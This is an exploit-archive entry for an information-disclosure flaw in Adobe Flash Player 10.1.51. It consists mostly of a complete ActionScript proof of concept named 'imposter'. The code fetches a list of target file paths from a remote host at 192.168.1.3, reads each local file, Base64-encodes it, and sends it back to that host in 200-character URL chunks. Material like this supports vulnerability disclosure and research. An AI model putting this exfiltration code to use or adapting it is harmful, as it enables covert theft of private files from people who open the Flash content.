Adobe Flash Player 10.1.51 - Local File Access Information Disclosure

source: https://www.securityfocus.com/bid/38517/info

Adobe Flash Player is prone to an information-disclosure vulnerability.

Attackers can exploit this issue to obtain sensitive information that may aid in launching further attacks. 

package com.lavakumar.imposter{
	import com.dynamicflash.util.Base64;
	import flash.display.MovieClip;
	import flash.display.Stage;
	import flash.text.TextField;
	import flash.events.Event;
	import flash.events.DataEvent;
	import flash.events.IOErrorEvent;
	import flash.events.ProgressEvent;
	import flash.events.SecurityErrorEvent;
	import flash.events.HTTPStatusEvent;
	import flash.utils.ByteArray;
	import flash.net.URLLoader;
	import flash.net.URLRequest;
	import flash.net.URLLoaderDataFormat;

	public class Main extends MovieClip {
		var filecontent:String="";
		var read:int=0;
		var inputcount:int=0;
		var filecounter:int=0;
		var files:Array;
		var statuscode:int=1;

		public function Main() {
			addEventListener(Event.ENTER_FRAME, check, false, 0, true);
		}
		public function check(e:Event):void {
			if (statuscode==1) {
				get();
			} else if (statuscode==2) {
				load();
			} else if (statuscode==3) {
				send();
			}
		}

		public function get():void {
			var getter:URLLoader = new URLLoader();
			getter.dataFormat=URLLoaderDataFormat.BINARY;
			getter.addEventListener(Event.COMPLETE, get_FileLoaded);
			getter.addEventListener(IOErrorEvent.IO_ERROR, get_FileIoError);
			getter.addEventListener(Event.OPEN, get_FileOpened);
			getter.addEventListener(ProgressEvent.PROGRESS, get_FileProgress);
			getter.addEventListener(SecurityErrorEvent.SECURITY_ERROR, get_FileSecurityError);
			getter.addEventListener(HTTPStatusEvent.HTTP_STATUS, get_FileStatus);
			getter.addEventListener(DataEvent.DATA, get_DataEventHandler);
			var inputfile:URLRequest=new URLRequest("//192.168.1.3/imp/imposter"+inputcount.toString()+".input");
			statuscode=0;
			getter.load(inputfile);
		}
		public function load():void {
			var loader:URLLoader = new URLLoader();
			loader.dataFormat=URLLoaderDataFormat.BINARY;
			loader.addEventListener(Event.COMPLETE, load_FileLoaded);
			loader.addEventListener(IOErrorEvent.IO_ERROR, load_FileIoError);
			loader.addEventListener(Event.OPEN, load_FileOpened);
			loader.addEventListener(ProgressEvent.PROGRESS, load_FileProgress);
			loader.addEventListener(SecurityErrorEvent.SECURITY_ERROR, load_FileSecurityError);
			loader.addEventListener(HTTPStatusEvent.HTTP_STATUS, load_FileStatus);
			loader.addEventListener(DataEvent.DATA, load_DataEventHandler);
			if (filecounter<files.length) {
				var filename:String=files[filecounter];
				filecounter++;
				var file:URLRequest=new URLRequest(filename);
				statuscode=0;
				loader.load(file);
			} else {
				statuscode=1;
			}
		}
		public function send():void {
			if (read<filecontent.length) {
				var temp:String;
				var sendurl:String="";
				if ((filecontent.length - read) < 200) {
					temp=filecontent.substr(read);
					var regex:RegExp=/\//g;
					temp=temp.replace(regex,"-");
					sendurl="//192.168.1.3/imp/is_"+filecounter+"_"+read+"_"+filecontent.length+"_"+temp;
					read=filecontent.length;

				} else {
					temp=filecontent.substr(read,200);
					var regex:RegExp=/\//g;
					temp=temp.replace(regex,"-");
					sendurl="//192.168.1.3/imp/is_"+filecounter+"_"+read+"_"+filecontent.length+"_"+temp;
					read=read+200;
				}
				var senddata:URLRequest=new URLRequest(sendurl);
				var sender:URLLoader = new URLLoader();
				sender.dataFormat=URLLoaderDataFormat.BINARY;
				sender.addEventListener(Event.COMPLETE, send_FileLoaded);
				sender.addEventListener(IOErrorEvent.IO_ERROR, send_FileIoError);
				sender.addEventListener(Event.OPEN, send_FileOpened);
				sender.addEventListener(ProgressEvent.PROGRESS, send_FileProgress);
				sender.addEventListener(SecurityErrorEvent.SECURITY_ERROR, send_FileSecurityError);
				sender.addEventListener(HTTPStatusEvent.HTTP_STATUS, send_FileStatus);
				sender.addEventListener(DataEvent.DATA, send_DataEventHandler);
				sender.load(senddata);
			} else {
				read=0;
				statuscode=2;
			}
		}

		function load_FileLoaded(event:Event):void {
			var loader:URLLoader=event.target as URLLoader;
			var data:ByteArray=loader.data as ByteArray;
			filecontent=Base64.encodeByteArray(data);
			data=null;
			statuscode=3;
		}
		function load_FileOpened(event:Event):void {
			var loader:URLLoader=event.target as URLLoader;
		}
		function load_DataEventHandler(event:Event):void {
		}
		function load_FileProgress(event:flash.events.ProgressEvent):void {
		}
		function load_FileSecurityError(event:Event):void {
			statuscode=2;
		}
		function load_FileIoError(event:Event):void {
			statuscode=2;
		}
		function load_FileStatus(event:HTTPStatusEvent):void {
		}
		function load_FileNotFound(event:IOErrorEvent):void {
			statuscode=2;
		}

		function get_FileLoaded(event:Event):void {
			var getter:URLLoader=event.target as URLLoader;
			var data:String=event.target.data;
			if (data.length>0) {
				files=data.split(',');
				if (files.length>0) {
					statuscode=2;
					inputcount++;
				} else {
					statuscode=1;
				}
			} else {
				statuscode=1;
			}
		}
		function get_FileOpened(event:Event):void {
		}
		function get_DataEventHandler(event:Event):void {
		}
		function get_FileProgress(event:flash.events.ProgressEvent):void {
		}
		function get_FileSecurityError(event:Event):void {
			statuscode=1;
		}
		function get_FileIoError(event:Event):void {
			statuscode=1;
		}
		function get_FileStatus(event:HTTPStatusEvent):void {
		}
		function get_FileNotFound(event:IOErrorEvent):void {
			statuscode=1;
		}
		function send_FileLoaded(event:Event):void {
		}
		function send_FileOpened(event:Event):void {
		}
		function send_DataEventHandler(event:Event):void {
		}
		function send_FileProgress(event:flash.events.ProgressEvent):void {
		}
		function send_FileSecurityError(event:Event):void {
		}
		function send_FileIoError(event:Event):void {
		}
		function send_FileStatus(event:HTTPStatusEvent):void {
		}
		function send_FileNotFound(event:IOErrorEvent):void {
		}
	}
}